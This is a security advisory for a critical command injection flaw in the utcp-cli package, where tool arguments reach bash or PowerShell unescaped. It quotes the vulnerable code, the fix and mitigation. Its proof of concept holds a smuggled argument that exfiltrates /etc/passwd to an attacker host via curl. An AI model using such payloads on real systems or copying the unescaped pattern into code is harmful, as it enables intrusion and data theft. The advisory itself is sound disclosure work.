GHSA-33p6-5jxp-p3x4CriticalCVSS 10.0
utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol
🔗 CVE IDs covered (1)
📋 Description
## Summary
The `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.
## Affected File
`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`
## Vulnerable Code
```python
def replace_placeholder(match):
arg_name = match.group(1)
if arg_name in tool_args:
return str(tool_args[arg_name]) # No escaping applied
```
The substituted command is then embedded directly into a shell script:
```python
script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')
```
And executed via:
```python
shell_cmd = ['/bin/bash', '-c', script]
```
## Proof of Concept
Given a tool defined as:
```json
{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}
```
Calling with:
```python
tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}
```
Produces and executes:
```bash
CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)
```
This results in full Remote Code Execution on the host system.
## Patched
Fixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `&`, backticks, `$()`, newlines).
**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -> `--verbose --debug`) must now use one placeholder per intended argument.
## Mitigation
Upgrade to `utcp-cli >= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.
## Credit
Reported by @ZeroXJacks.
🎯 Affected products1
- pip/utcp-cli:<= 1.1.1